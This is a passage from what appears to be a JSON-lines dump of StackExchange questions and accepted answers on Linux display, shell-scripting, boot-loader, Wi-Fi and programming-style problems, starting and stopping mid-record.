is already very big - don't want to clutter it. So when I unplug HDMI or VGA my LVDS goes black and this script should turn it on. I can also post Xorg.log, from /var/log, but it does not seem to have anything useful (I will post, but again - they are long - please let me know).Now a complication: I have Gnome 3 installed that came with Debian 8 install. When I use it and no i3wm - everything works and X does not crash! So I can plug-in 2 monitors, turn off LVDS and unplug hot and safely. It's not that I don't like Gnome, but I am very used to i3wm and minimal light set up (use the same on my Arch desktop). Laptop is also old for Gnome3. I'd rather not go into trying other DE's.#!/bin/bash# Super+Shift+F8 is bound to this script in WMfunction laptop() {  xrandr --auto  xrandr --output VGA1 --off  xrandr --output HDMI1 --off}echo running laptop scriptlaptopOct 21 20:13:12 debianone /etc/gdm3/Xsession[8574]: running laptop scriptOct 21 20:13:12 debianone /etc/gdm3/Xsession[8574]: xrandr: cannot find crtc for output LVDS1Oct 21 20:13:13 debianone gdm-Xorg-:0[8485]: (II) intel(0): Allocated new frame buffer 1024x1280 stride 4096, tiledOct 21 20:13:13 debianone /etc/gdm3/Xsession[8574]: X Error of failed request:  BadMatch (invalid parameter attributes)Oct 21 20:13:13 debianone /etc/gdm3/Xsession[8574]: Major opcode of failed request:  140 (RANDR)Oct 21 20:13:13 debianone /etc/gdm3/Xsession[8574]: Minor opcode of failed request:  21 (RRSetCrtcConfig)Oct 21 20:13:13 debianone /etc/gdm3/Xsession[8574]: Serial number of failed request:  35Oct 21 20:13:13 debianone /etc/gdm3/Xsession[8574]: Current serial number in output stream:  35Oct 21 20:13:13 debianone /etc/gdm3/Xsession[8574]: i3: No usable outputs available.Oct 21 20:13:13 debianone org.gtk.vfs.Daemon[8621]: A connection to the bus can't be madeOct 21 20:13:13 debianone org.gtk.vfs.Daemon[8621]: g_dbus_connection_real_closed: Remote peer vanished with error: Underlying GIOStream returned 0 bytes on an async read (g-io-error-quark, 0). Exiting.Oct 21 20:13:13 debianone org.a11y.Bus[8621]: g_dbus_connection_real_closed: Remote peer vanished with error: Underlying GIOStream returned 0 bytes on an async read (g-io-error-quark, 0). Exiting.Oct 21 20:13:13 debianone /etc/gdm3/Xsession[8574]: [9400:9400:1021/201313:ERROR:chrome_browser_main_extra_parts_x11.cc(57)] X IO error received (X server probably went away)Oct 21 20:13:13 debianone /etc/gdm3/Xsession[8574]: [libi3] libi3/font.c Using Pango font DejaVu Sans Mono, size 8Oct 21 20:13:13 debianone /etc/gdm3/Xsession[8574]: [libi3] libi3/font.c X11 root window dictates 98.223565 DPIOct 21 20:13:13 debianone org.a11y.atspi.Registry[8648]: XIO:  fatal IO error 11 (Resource temporarily unavailable) on X server :0Oct 21 20:13:13 debianone org.a11y.atspi.Registry[8648]: after 1608 requests (1608 known processed) with 0 events remaining.Oct 21 20:13:13 debianone /etc/gdm3/Xsession[8574]: drracket: Fatal IO error 11 (Resource temporarily unavailable) on X server :0.Oct 21 20:13:13 debianone /etc/gdm3/Xsession[8574]: [9434:9434:1021/201313:ERROR:x11_util.cc(82)] X IO error received (X server probably went away)Oct 21 20:13:13 debianone /etc/gdm3/Xsession[8574]: Can't open display :0Oct 21 20:13:13 debianone /etc/gdm3/Xsession[8574]: Exiting due to signal.Oct 21 20:13:13 debianone /etc/gdm3/Xsession[8574]: XIO:  fatal IO error 11 (Resource temporarily unavailable) on X server :0Oct 21 20:13:13 debianone /etc/gdm3/Xsession[8574]: after 2716 requests (2716 known processed) with 0 events remaining.Oct 21 20:13:13 debianone /etc/gdm3/Xsession[4989]: Process 8664 dead!Oct 21 20:13:13 debianone /etc/gdm3/Xsession[4989]: Warning: no target process found. Waiting for it...Oct 21 20:13:13 debianone /etc/gdm3/Xsession[8574]: Process 8664 dead!Oct 21 20:13:13 debianone /etc/gdm3/Xsession[8574]: Warning: no target process found. Waiting for it...Oct 21 20:13:13 debianone gdm-Xorg-:0[8485]: (II) UnloadModule: synapticsOct 21 20:13:13 debianone gdm-Xorg-:0[8485]: (II) evdev: AT Translated Set 2 keyboard: CloseOct 21 20:13:13 debianone gdm-Xorg-:0[8485]: (II) UnloadModule: evdevOct 21 20:13:13 debianone gdm-Xorg-:0[8485]: (II) evdev: Asus WMI hotkeys: CloseOct 21 20:13:13 debianone gdm-Xorg-:0[8485]: (II) UnloadModule: evdevOct 21 20:13:13 debianone gdm-Xorg-:0[8485]: (II) evdev: USB Camera: CloseOct 21 20:13:13 debianone gdm-Xorg-:0[8485]: (II) UnloadModule: evdevOct 21 20:13:13 debianone gdm-Xorg-:0[8485]: (II) evdev: Microsoft Microsoft Nano Transceiver v1.0: CloseOct 21 20:13:13 debianone gdm-Xorg-:0[8485]: (II) UnloadModule: evdevOct 21 20:13:13 debianone gdm-Xorg-:0[8485]: (II) evdev: Microsoft Microsoft Nano Transceiver v1.0: CloseOct 21 20:13:13 debianone gdm-Xorg-:0[8485]: (II) UnloadModule: evdevOct 21 20:13:13 debianone gdm-Xorg-:0[8485]: (II) evdev: Microsoft Microsoft Nano Transceiver v1.0: CloseOct 21 20:13:13 debianone gdm-Xorg-:0[8485]: (II) UnloadModule: evdevOct 21 20:13:13 debianone gdm-Xorg-:0[8485]: (II) evdev: Logitech USB Keyboard: CloseOct 21 20:13:13 debianone gdm-Xorg-:0[8485]: (II) UnloadModule: evdevOct 21 20:13:13 debianone gdm-Xorg-:0[8485]: (II) evdev: Logitech USB Keyboard: CloseOct 21 20:13:13 debianone gdm-Xorg-:0[8485]: (II) UnloadModule: evdevOct 21 20:13:13 debianone gdm-Xorg-:0[8485]: (II) evdev: Sleep Button: CloseOct 21 20:13:13 debianone gdm-Xorg-:0[8485]: (II) UnloadModule: evdevOct 21 20:13:13 debianone gdm-Xorg-:0[8485]: (II) evdev: Video Bus: CloseOct 21 20:13:13 debianone gdm-Xorg-:0[8485]: (II) UnloadModule: evdevOct 21 20:13:13 debianone gdm-Xorg-:0[8485]: (II) evdev: Power Button: CloseOct 21 20:13:13 debianone gdm-Xorg-:0[8485]: (II) UnloadModule: evdevOct 21 20:13:13 debianone gdm-Xorg-:0[8485]: (EE) Server terminated successfully (0). Closing log file.I am little desperate since this is a big problem. I've seen bugreports on similar issues in X, KDE, Debian and Ubuntu and they show fixed. I am definitely updated to latest and still crashing. Do I need to backport newer X? Or something else? Thanks for reading and help in advance."  , "title": "Issues with X and xrandr on Debian"  , "tags": "debian;xorg;crash;i3"  , "accepted_answer": "It's likely that the rapid succession of xrandr messages is triggering a bug in the X server. I would suggest you do two things:File a bug against the X server. It is not supposed to crash, no matter what you do (at worst, it should produce an error message)Change your script so that it calls xrandronly once:xrandr --output LVDS --off --output VGA1 --mode 1280x1024 --output HDMI1 --mode 1280x1024 --rotate left --right-of VGA1The point here is that you can pass multiple commands per output to xrandr, as well as multiple outputs. I would personally also set one of the outputs as the primary output (with --primary), but that's not critical.EDIT: Looking at the log in a bit more detail, we see this:Oct 21 20:13:12 debianone /etc/gdm3/Xsession[8574]: xrandr: cannot find crtc for output LVDS1A CRTC is a display controller chip; the actual component which transforms the frame buffer generated by the GPU into scanlines which are then sent out over whatever output is selected (VGA, DVI, HDMI, DisplayPort, yada yada); the abbreviation stands for Cathode Ray Tube Controller, although that terminology is obviously somewhat outdated. Most GPUs have less of those than they have outputs, and the number of CRTCs is usually the limiting factor that decides how many monitors a GPU card can steer at the same time. Up to a few years ago, for most of Intel's mobile GPUs that number was two, although with the appearance of 4K screens (which require two CRTCs per monitor) most modern mobile GPUs now have three.Since the system also talks about LVDS (which is an older standard now being replaced by embedded display port or eDP), it's a pretty safe bet to assume you have two CRTCs.What the error message that I quoted above means is that when you ask the X server to enable the LVDS panel, it looks for an available CRTC and doesn't find one. Things then seem to go horribly wrong. The solution to your problem would therefore be to ensure there is an available CRTC when you try to enable the external monitor, by disabling the external outputs before you enable the internal ones rather than afterwards, as you're trying to do now."  } 
{  "id": "_unix.186694"  , "question": "I would like to multiply a single column in a .txt file by a variable and then write to another .txt file. What am I missing from the awk line? Appreciate any help in advance.!/bin/bashFILES=/path/to/filesfor f in ${FILES}do    echo $f    wc -l $f    B=10000000    TOTALLINES=$(wc -l $f | cut -f1 -d' ')    echo TOTALLINES: ${TOTALLINES}    SCALINGFACTOR=$(echo 100000000 / $TOTALLINES | bc -l)    echo scaling_factor:  ${SCALINGFACTOR}    awk '{printf($1\\t$2\\t$3\\t$4 * ${SCALINGFACTOR})}' $f_prepped.txt > $f_normalized.txtdone"  , "title": "How can I multiply a column by a variable and write out?"  , "tags": "bash;shell;shell script"  , "accepted_answer": "Inside awk you don't have direct access to shell variables, you need to pass them as an options, so change awk command to something like:awk -v SF=$SCALINGFACTOR '{printf($1\\t$2\\t$3\\t$4*SF)}'"  } 
{  "id": "_webapps.19014"  , "question": "This site Intelligence Squared Australia - IQ2 - the Australian forum for live debate publishes past debates in pages like:Past live debates: 2011 series SydneyPast live debates: 2011 series MelbourneNot one of the pages have a RSS or ATOM feed. The only way to be notified is through Twitter? I don't have a Twitter account anymore and I don't want to use it directly. And the Twitter feed has many unwanted posts.Should I make an Yahoo Pipe for each page and subscribe to the generated feed? How else can I be notified?"  , "title": "How to get update notifications for the iq2oz site?"  , "tags": "twitter;feeds;yahoo pipes"  , "accepted_answer": "I just created the Yahoo Pipe but it will work only for 2011 debates"  } 
{  "id": "_webmaster.20013"  , "question": "I was unfortunately the victim of a PHP exploit. Looking through my webserver logs, people are still attempting to reach the URL used in the phish. I want to redirect them to a site that will educate these people on what phishing is.My question: Is there a (generic / vendor-neutral) phishing education website that you suggest I send them to with a 301 redirect? (I assume a 301 is the best option.)"  , "title": "Where should I redirect (removed) phishing pages"  , "tags": "redirects;301 redirect;security"  , "accepted_answer": "Yes! There is a good landing page to drop people on. It's here:http://education.apwg.org/r/en/index.htmIt's designed to educate users, in a helpful way."  } 
{  "id": "_codereview.58943"  , "question": "So I needed very basic state management and notification for a small game-like thing I'm building. I decided to implement something like a finite state machine (but not quite, it doesn't transition upon events, but instead is told to transition). This is mostly used for changing visual behavior and animation or whatnot, so the most important ability of a client is to simply check which state it is in. I had a few objectives:There needs to be a finite list of states configured at creation, and I as the user need to be warned if I try to enter a state that doesn't existStates need to have parameters that hold auxiliary information. For example, a state called selected might have parameters selectedPort and selectionContextI need basic event handling, so that other parts of the application can be notified upon entering or leaving a stateAs far as the implementation, the class holds an objects of states, who themselves are objects that contain their own parametersHere's the class I threw together:function FSM(states) {    this.states = states    // Set the _fsmName of each state to its name in the states object    // This makes it much easier to check if we're in a particular state    for (var prop in this.states) {        this.states[prop]._fsmName = prop    }    // Initialize to an arbitrary state, client can transition to     // whatever their desired initial state is    this.state = this.states[Object.keys(this.states)[0]]    this.cbReg = {}}FSM.prototype.transition = function(next) {    for (var prop in this.states) {        if (prop == next) {            // Handle onLeave subscribers            if (this.state._fsmName in this.cbReg) {                this.cbReg[this.state._fsmName].forEach(function(val, ind, arr) {                    if (val.when == onLeave) {                        val.callback()                    }                })            }            this.state = this.states[prop]            // Handle onEnter subscribers            if (this.state._fsmName in this.cbReg) {                this.cbReg[this.state._fsmName].forEach(function(val, ind, arr) {                    if (val.when == onEnter) {                        val.callback()                    }                })            }            return        }    }    throw FSM State doesn't exist}FSM.prototype.inState = function(st) {    return (this.state._fsmName == st)}FSM.prototype.get = function(p) {    // Try to get a state parameter, but throw if the    // parameter doesn't exist    if (p in this.state) {        return this.state[p]    } else {        throw FSM Invalid Parameter    }}FSM.prototype.set = function(p, v) {    // Try to set a state parameter, but throw if the    // parameter doesn't exist, instead of silently adding it    if (p in this.state) {        this.state[p] = v    } else {        throw FSM Invalid Parameter    }}FSM.prototype.register = function(stateName, when, cb) {    // Register a callback upon entering or leaving a state    if (!(stateName in this.states)) {        throw FSM State doesn't exist    }    if ((when != onEnter) && (when != onLeave)) {        throw FSM Invalid callback time specifier    }    if (!(stateName in this.cbReg)) {        this.cbReg[stateName] = []    }    this.cbReg[stateName].push({        when: when,        callback: cb    })}A client might use it like:this.SM = new FSM({    normal: {},    selected: {        selectedPort: null    }})this.SM.transition(normal)this.SM.register(selected, onEnter, function() { ... })...if (this.SM.inState(normal))...if (this.SM.inState(selected)) {    var p = this.SM.get(selectedPort)    ...}A few things:Existing FSM libraries seemed much more focuses on managing state in async situations, like callbacks from web requests and so forth. Are there any libraries that implement a simpler model, and particularly with the existence of auxiliary state information?Any obvious problems with functionality or style in this code?Are there other design patterns that might accomplish my intent here?"  , "title": "Simple Javascript state management class"  , "tags": "javascript;classes;state machine;state"  } 
{  "id": "_unix.356455"  , "question": "I have an Arch Linux install (running on a 3yo ASUS Zenbook UX31A) that works fine. But, when trying to fix some USB issues I started poking around and I don't seem to have a boot loader installed - or at least can figure out what the one I got.Because of all the warnings and concern on the Installation Guide around UEFI, I tried to follow the instructions about booting, and partitions, as well as I could and, like I said, the system boots and work fine.According to my pacman logs, efibootmgr was installed at the time, and I have it to this day, but it's not listed as a boot loader in the Arch Wiki (because it's not a boot loader, apparently)I ran the bootinfoscript and it said:=> No boot loader is installed in the MBR of /dev/sda.I don't fully understand what boot loaders are and everything they do, so I might be missing something obvious, but shouldn't I have one? If not, how can my laptop boot without it?"  , "title": "Is it possible to not have a boot loader?"  , "tags": "boot;boot loader"  , "accepted_answer": "Yes, it's possible to not have a boot loader in addition to the one in the computer's firmware (which is UEFI here). Well, that's not strictly true because in this case the Linux kernel functions as its own boot loader, if it is configured to include the EFI stub. This makes the kernel binary a valid EFI program which can be run directly from the UEFI firmware, thus closing the gap between the firmware present in the Flash ROM on the motherboard and the kernel image.Usually a boot manager like systemd-boot is used together with an EFI stub kernel. A boot manager functions as a chooser program with which you can choose between several kernel versions or boot some other operating system (Windows, for example.) A boot loader like GRUB usually also includes a chooser, but it differs from a boot manager in that it includes functionality to actually load software from disk to memory. A boot loader must typically first load itself in several stages, then locate the kernel on the disk, load it into a predefined location in RAM, and finally start the kernel."  } 
{  "id": "_webapps.95745"  , "question": "How do we call a function once a Cognito Form loads? The following does not trigger the alert:Cognito.load(forms, { id: 1 }, function() {   alert(done);});"  , "title": "Cognito Forms - Call a function once form loads"  , "tags": "cognito forms;embed"  } 
{  "id": "_softwareengineering.269502"  , "question": "I am a self-taught programmer. I started programming about 1.5 years ago. Now I have started to have programming classes in school. We have had programming classes for 1/2 year and will have another 1/2 right now.In the classes we are learning to program in C++ (which is a language that I already knew to use quite well before we started).I have not had any difficulties during this class but there is one recurring problem that I have not been able to find a clear solution to.The problem is like this (in Pseudocode): do something if something failed:     handle the error     try something (line 1) again else:     we are done!Here is an example in C++The code prompts the user to input a number and does so until the input is valid. It uses cin.fail() to check if the input is invalid. When cin.fail() is true I have to call cin.clear() and cin.ignore() to be able to continue to get input from the stream.I am aware that this code does not check of EOF. The programs we have written are  not expected to do that.Here is how I wrote the code in one of my assignments in school:for (;;) {    cout << : ;    cin >> input;    if (cin.fail()) {        cin.clear();        cin.ignore(512, '\\n');        continue;    }    break;}My teacher said was that I should not be using break and continue like this. He suggested that I should use a regular while or do ... while loop instead.It seems to me that using break and continue is the simplest way to represent this kind of loop. I actually thought about it for quite a while but did not really come up with a clearer solution.I think that he wanted me to do something like this:do {    cout << : ;    cin >> input;    bool fail = cin.fail();    if (fail) {        cin.clear();        cin.ignore(512, '\\n');    }} while (fail);To me this version seems alot more complex since now we also have variable called fail to keep track of and the check for input failure is done twice instead of just once.I also figured that I can write the code like this (abusing short circuit evaluation):do {    cout << : ;    cin >> input;    if (fail) {        cin.clear();        cin.ignore(512, '\\n');    }} while (cin.fail() && (cin.clear(), cin.ignore(512, '\\n', true);This version works exactly like the other ones. It does not use break or continue and the cin.fail() test is only done once. It does however not seem right to me to abuse the short circuit evaluation rule like this. I do not think my teacher would like it either.This problem does not only apply to just cin.fail() checking. I have used break and continue like this for many other cases that involve repeating a set of code until a condition is met where something also has to be done if the condition is not met (like calling cin.clear() and cin.ignore(...) from the cin.fail() example).I have kept using break and continue throughout the course and now my teacher has now stopped complaining about it.What are your opinions about this?Do you think my teacher is right?Do you know a better way to represent this kind of problem?"  , "title": "How to structure a loop that repeats until success and handles failures"  , "tags": "c++;coding style;loops;io;imperative programming"  , "accepted_answer": "I would write the if-statement slightly different, so it is taken when the input is successful.for (;;) {    cout << : ;    if (cin >> input)        break;    cin.clear();    cin.ignore(512, '\\n');}It's shorter as well.Which suggests a shorter way that might be liked by your teacher:cout << : ;while (!(cin >> input)) {    cin.clear();    cin.ignore(512, '\\n');    cout << : ;}"  } 
{  "id": "_softwareengineering.166048"  , "question": "In an application framework when performance impact can be ignored (10-20 events per second at max),what is more maintainable and flexible to use as a preferred medium for communication between modules - Events or Futures/Promises/Monads?It's often being said, that Events (pub/sub, mediator) allow loose-coupling and thus - more maintainable app... My experience deny this: once you have more that 20+ events - debugging becomes hard, and so is refactoring - because it is very hard to see:  who, when and why uses what.Promises (I'm coding in Javascript) are much uglier and dumber, than Events. But: you can clearly see connections between function calls, so application logic becomes more straight-forward. What I'm afraid. though, is that Promises will bring more hard-coupling with them...p.s: the answer does not have to be based on JS, experience from other functional languages is much welcome."  , "title": "Futures/Monads vs Events"  , "tags": "architecture;maintainability;async;event programming;monad"  , "accepted_answer": "Monads and events play quite nicely together, for example have a look at .NET Rx. I think there should be even an JavaScript implementation. http://msdn.microsoft.com/en-us/data/gg577609.aspx"  } 
{  "id": "_webmaster.71058"  , "question": "Can I place a robots.txt file inside a subdomain and it only affect that subdomain and not the root domain?For example:I have example.com and mysubdomain.example.com. mysite.com already has a robots.txt that does it's own directives. Can I disallow all bots to mysubdomain.example.com by placing a robots.txt inside it's own folder and it not affect my main domain example.com?"  , "title": "Can I place a robots.txt file inside a subdomain and it only affect that subdomain and not the root domain?"  , "tags": "seo;subdomain;robots.txt"  , "accepted_answer": "Yes. Whatever the web root for the subdomain is where you would put a robots.txt for that subdomain's contents. It will not affect the root domain and the root domain's robots.txt will not affect the subdomain."  } 
{  "id": "_unix.72323"  , "question": "TLDR: Can I pre-define a stow folder other than /usr/local with GNU Stow?I do not have admin privileges on the machine I use for work, and I was told that I could use GNU Stow to manage my installations. The tool looks great, but everywhere in the documentation I read that stow uses /usr/local as the installation directory where it builds the symlink farm.Unfortunately this folder was already populated  by root, and I do not have write privileges on anything under /usr/local.There is a flag -t that I can use in the command line to specify the target directory, but since I will always be using the same (I want my installations to consistently be under the same target directory), I was wondering if there is a way to use a default path of my choice."  , "title": "Pre-specifying a default GNU Stow target-directory"  , "tags": "software installation;symlink;stow"  , "accepted_answer": "You can configure a default target via the .stowrc file; please see this section of the manual.  If there is a compelling reason for needing to also set the default target directory via an environment variable, I can implement that for the next release too."  } 
{  "id": "_codereview.82328"  , "question": "I am working with a some small functions to test recursion. I am fairly new to Python and am wondering if there is a cleaner way to get the job done.def count(t,p):    ''' recursive function when passed a binary tree (it doesnt matter if it is a     binary search tree) and a predicate as arguments; it returns a count of all the     values in the tree for which the predicate returns True. '''    if t == None or t.value == None:        return 0    elif p(t.value):        return 1 + count(t.right, p) + count(t.left, p)    else:        return count(t.right, p) + count(t.left, p)def equal(ll1,ll2):    ''' recursive function when passed two linked lists; it returns whether or not     the linked lists contain exactly the same values in the same order. '''    if ll1 == None and ll2 == None:        return True    if (ll1 != None and ll2 == None) or\\        (ll2 != None and ll1 == None):        return False    elif ll1.value == ll2.value:        return equal(ll1.next, ll2.next)    else:        return Falsedef min_max(ll):    ''' a recursive when passed a linked list; it returns a 2-tuple containing the     minimum value followed by the maximum value. If the linked list is empty, return     (None, None) '''    if ll == None:        return None, None    maybe_min, maybe_max  = min_max(ll.next)    if maybe_min == None or ll.value < maybe_min:        least = ll.value    if maybe_min != None and ll.value > maybe_min:        least = maybe_min    if maybe_max == None or ll.value >= maybe_max:        most = ll.value    if maybe_max != None and ll.value < maybe_max:        most = maybe_max    return least, most"  , "title": "Using recursion to count nodes in a binary tree, test equality of linked lists, and find extrema of a linked list"  , "tags": "python;recursion;python 3.x;tree;linked list"  , "accepted_answer": "It is better to test for x is None rather than x == None.Avoid using single-letter variable names  they may make sense to you, but not to anyone else.I don't see any reason why a node should be automatically not counted if its value is None.  Shouldn't it be up to the predicate to decide whether nodes with None as a value are counted or not?You can eliminate a case by taking advantage of the fact that int(False) is 0 and int(True) is 1.def count(tree_node, predicate):    Counts the tree_node and its descendants whose value satisfies the predicate.    if tree_node is None:        return 0    else:        return int(predicate(tree_node.value)) + \\               count(tree_node.left, predicate) + \\               count(tree_node.right, predicate)Stylistically, it would be better to consistently use either one long if elif chain or just ifs with early returns.  I also suggest putting the recursive case at the end of the function.(ll1 != None and ll2 == None) or (ll2 != None and ll1 == None) can be simplified.def equal(ll1, ll2):    Recursively checks whether two linked lists contain the same values    in the same order.    if ll1 is None and ll2 is None:        return True    if ll1 is None or ll2 is None:        return False    if ll1.value != ll2.value:        return False    return equal(ll1.next, ll2.next)Assuming that the linked list contains no None data values, the logic can be simplified.def min_max(ll):    Returns a 2-tuple of the minimum and maximum values.    If ll is empty, returns (None, None).    if ll is None:        return None, None    if ll.next is None:        return ll.value, ll.value    least, greatest = min_max(ll.next)    return min(ll.value, least), max(ll.value, greatest)"  } 
{  "id": "_unix.195518"  , "question": "I recently learned here how to open a program from the command line.my question is, how can i make a set of programs open simultaneously with one command entered?"  , "title": "how to open sets of programs simultaneously with command line"  , "tags": "command line"  , "accepted_answer": "You can run a program simply by typing its name (and Enter, of course).To run a program in the background, giving you control of your terminal again, you can append &.So:gvim /etc/hosts    # Runs gvim and waits until it's finishedBut:gvim /etc/hosts &  # Runs gvim and returns control to the terminalTherefore, this can be used to start three programs, one after the other:kontact &rekonq &something_else &If you can type fast enough they'll appear to start simultaneously. Or you can put all three commands on the same line, like this, so that the commands are executed only once you hit Enter:kontact & rekonq & something_else &"  } 
{  "id": "_unix.246032"  , "question": "Here is the part that generates the 10 random numbers.MAXCOUNT=10count=1while [ $count -le $MAXCOUNT ]; do number=$RANDOM let count += 1doneNow how do I output this to an array and then echo that array?"  , "title": "How to store 10 random numbers in an array then echo that array?"  , "tags": "shell script;array"  , "accepted_answer": "Are you using bash? In that case, try something like that:MAXCOUNT=10count=1while [ $count -le $MAXCOUNT ]; do number[$count]=$RANDOM let count += 1doneecho ${number[*]}You can also replace the last line with:echo ${number[@]}Some documentation here: http://www.tutorialspoint.com/unix/unix-using-arrays.htm"  } 
{  "id": "_unix.273228"  , "question": "Upon the request of some users, I decided to add all the intermediate steps and results to my initial post so that users can better walk me through a solution. This is added under the headline Additions below the question. Below Additions, there is a section called, resolution, where I have added extra steps that I have taken in order to resolve this issue:Question:Today, as I was trying to continue running my codes in the command-line shell, I noticed that none of the commands are actually recognized by the shell in Fedora 21 (kernel 4.1.13-100.fc21.i686 on an i686 (tty2)). I thought if I restart and reboot the system, the issue should resolve. However, to my surprise I noticed that the system is not starting up after login. I tried to do diagnostics by pressing CTRL+ALT+F2 when the screen goes black to see where actually it stops working. The last line that I saw a complete stop was saying:wait for plymouth boot screen to quitNow, I have done lots of search and research but since I am newbie in linux systems, I don't feel comfortable to touch my system without a help. Would you mind letting me know how to fix such issue when actually no command is accepted in the diagnostic mode in the shell by saying the following?-bash: <...>: command not foundThe only thing I can think of is some possible automatic update that I was not aware of or messing my .bashrc (which I can no longer see inside it by using the following command:)sudo gedit ~/.bashrcAdditions:I was able to login to my system only after entering the diagnostic mode by pressing Ctrl+Alt+F2 right after reboot and login into the main startup which fails under normal conditions. Fedora release 21 (Twenty One)  Kernel 4.1.13-100.fc21.i686+PAEdebug on an i686 (tty2)In this mode, then the login prompt appearlocalhost login:After entering my username, then it says:Password:After entering my password, then it says:Last login: Wed Mar 30 15:33:54 on tty2[bbenjamin@localhost ~]$ It is here that none of the commands are recognized by the shell no matter what. And the error message is usually:-bash: <...>: command not foundwhere <...> is basically any command.The only time I was successful in getting most commands get realized by the shell was when I ran the following code (as mentioned by in the answer):PATH=/usr/bin:/usr/sbinAfter which at least I could look for and see my files and folders and programs (since most commands are getting realized.) However, I still need to logging normally so that I can make use of all the graphics and other features of Fedora which is impossible in the diagnostic mode. To make this possible in particular I need to open my .bashrc file and fix its issues permanently (assuming that I can have access to its original version somehow.) To do this, I need to run commands like (sudo) gedit ~/.bashrcHowever, I am receiving error messages like:Unable to init server: Could not connect: Connection refused(gedit:1397): Gtk-WARNING **:cannot open display:or running commands like this one:~/.bash_profilewhich would yield error message:bash: /home/bbenjamin/.bash_profile: Permission denied.Now, learning from the answer, I am not supposed to run this latter command as it is not executable. And instead I should run it in the following format:source ~/.bashrcAfter which I don't know how to proceed.However, I don't know why the former command (sudo) gedit ~/.bashrc is not working either. I remember that I always used to make slight changes in the .bashrc file depending on my need. This time I don't know how I made changes in it that it caused all the issues explained here. So now, my question is whether there is a command-line based method that I can open .bashrc and look inside it and make needed changes permanently so my system logins appropriately leads me into its normal graphical mode where I see and utilize all Fedora features.ResolutionI learned that once I am in the diagnostic mode through the command Ctrl+Alt+F2 right after unsuccessful login, I can temporarily fix the messed up file .bashrc by running the command PATH=/usr/bin:/usr/sbin. Then I could take a look inside my .bahsrc file through running the command line cat .bashrc. It was only then that I saw the contents of the file in which I had several paths added to the file. Since I had kept a record of my added files at the bottom of previous paths in a chronological order, I knew that the problematic path was the very last one. Now, in order to fix the issue, I had to actually modify the file. This was achieved by the command line nano .bashrc after which a new page appeared in which I had the chance of commenting out the problematic line by adding # in front of it. At the end, I saved my changes and exited. The last step I had to make was to reboot the system with its new modified .bashrc file through the command line telinit 6 after which the logging proved to be successful. "  , "title": "Why doesn't my bash terminal recognize any command in the shell?"  , "tags": "linux;fedora;bashrc"  , "accepted_answer": "It sounds like you put something in your ~/.bashrc which is causing PATH to be set in a way that doesn't include /usr/bin, which is where most programs actually live. If you run this:PATH=/usr/bin:/usr/sbinmost commands should start working  and then you can edit ~/.bashrc and fix whatever is resetting PATH there. (And, actually  you want to set PATH in ~/.bash_profile instead of ~/.bashrc  see How to correctly add a path to PATH?)(Note, by the way, that no Fedora update would mess with this, as updates don't alter files in your home directory. Sometimes when you run updated software that software might update its own config files, but that doesn't apply to ~/.bashrc.)On your edit: the gedit text editor only works in graphical mode. In text mode, you'll need a text-based editor. The easiest of these is probably nano. Install it with dnf install nano and then use nano instead if gedit. The actual editing functions will be a little different but it's pretty simple. "  } 
{  "id": "_unix.260538"  , "question": "I bought Lenovo Ideapad 500S-14ISK and installed Debian 8. It's a fresh install, and no other OS is on this computer.I am having difficulties on connecting to Wi-Fi and days of googling to hunt any hint resulted no any good.LogsI'll write down some outputs on the commands below.sudo iwconfigeth0      no wireless extensions.lo        no wireless extensions.lspci -nn00:00.0 Host bridge [0600]: Intel Corporation Device [8086:1904] (rev 08)00:02.0 VGA compatible controller [0300]: Intel Corporation Device [8086:1916] (rev 07)00:14.0 USB controller [0c03]: Intel Corporation Device [8086:9d2f] (rev 21)00:14.2 Signal processing controller [1180]: Intel Corporation Device [8086:9d31] (rev 21)00:15.0 Signal processing controller [1180]: Intel Corporation Device [8086:9d60] (rev 21)00:16.0 Communication controller [0780]: Intel Corporation Device [8086:9d3a] (rev 21)00:17.0 SATA controller [0106]: Intel Corporation Device [8086:9d03] (rev 21)00:1c.0 PCI bridge [0604]: Intel Corporation Device [8086:9d10] (rev f1)00:1c.4 PCI bridge [0604]: Intel Corporation Device [8086:9d14] (rev f1)00:1c.5 PCI bridge [0604]: Intel Corporation Device [8086:9d15] (rev f1)00:1f.0 ISA bridge [0601]: Intel Corporation Device [8086:9d48] (rev 21)00:1f.2 Memory controller [0580]: Intel Corporation Device [8086:9d21] (rev 21)00:1f.3 Audio device [0403]: Intel Corporation Device [8086:9d70] (rev 21)00:1f.4 SMBus [0c05]: Intel Corporation Device [8086:9d23] (rev 21)01:00.0 3D controller [0302]: NVIDIA Corporation Device [10de:1347] (rev a2)02:00.0 Network controller [0280]: Qualcomm Atheros Device [168c:0042] (rev 30)03:00.0 Ethernet controller [0200]: Realtek Semiconductor Co., Ltd. RTL8111/8168/8411 PCI Express Gigabit Ethernet Controller [10ec:8168] (rev 15)Network controller and etnernet controller on lspci -v02:00.0 Network controller: Qualcomm Atheros Device 0042 (rev 30)    Subsystem: Lenovo Device 4035    Flags: bus master, fast devsel, latency 0, IRQ 11    Memory at d4000000 (64-bit, non-prefetchable) [size=2M]    Capabilities: <access denied>03:00.0 Ethernet controller: Realtek Semiconductor Co., Ltd. RTL8111/8168/8411 PCI Express Gigabit Ethernet Controller (rev 15)    Subsystem: Lenovo Device 3835    Flags: bus master, fast devsel, latency 0, IRQ 139    I/O ports at c000 [size=256]    Memory at d4204000 (64-bit, non-prefetchable) [size=4K]    Memory at d4200000 (64-bit, non-prefetchable) [size=16K]    Capabilities: <access denied>    Kernel driver in use: r8169sudo ifdown wlan0; sudo ifup wlan0ifdown: interface wlan0 not configuredInternet Systems Consortium DHCP Client 4.3.1Copyright 2004-2014 Internet Systems Consortium.All rights reserved.For info, please visit https://www.isc.org/software/dhcp/Cannot find device wlan0Bind socket to interface: No such deviceIf you think you have received this message due to a bug ratherthan a configuration issue please read the section on submittingbugs on either our web page at www.isc.org or in the README filebefore submitting a bug.  These pages explain the properprocess and the information we find helpful for debugging..exiting.Failed to bring up wlan0.lsmodModule                  Size  Used bybnep                   17431  2 i915                  837175  0 uvcvideo               79005  0 videobuf2_vmalloc      12816  1 uvcvideovideobuf2_memops       12519  1 videobuf2_vmallocvideobuf2_core         47787  1 uvcvideohid_generic            12393  0 v4l2_common            12995  1 videobuf2_coreecb                    12737  1 videodev              126451  3 uvcvideo,v4l2_common,videobuf2_coremedia                  18305  2 uvcvideo,videodevusbhid                 44460  0 btusb                  29721  0 bluetooth             374429  21 bnep,btusb6lowpan_iphc           16588  1 bluetoothjoydev                 17063  0 nfsd                  263032  2 auth_rpcgss            51211  1 nfsdoid_registry           12419  1 auth_rpcgssnfs_acl                12511  1 nfsdnfs                   188136  0 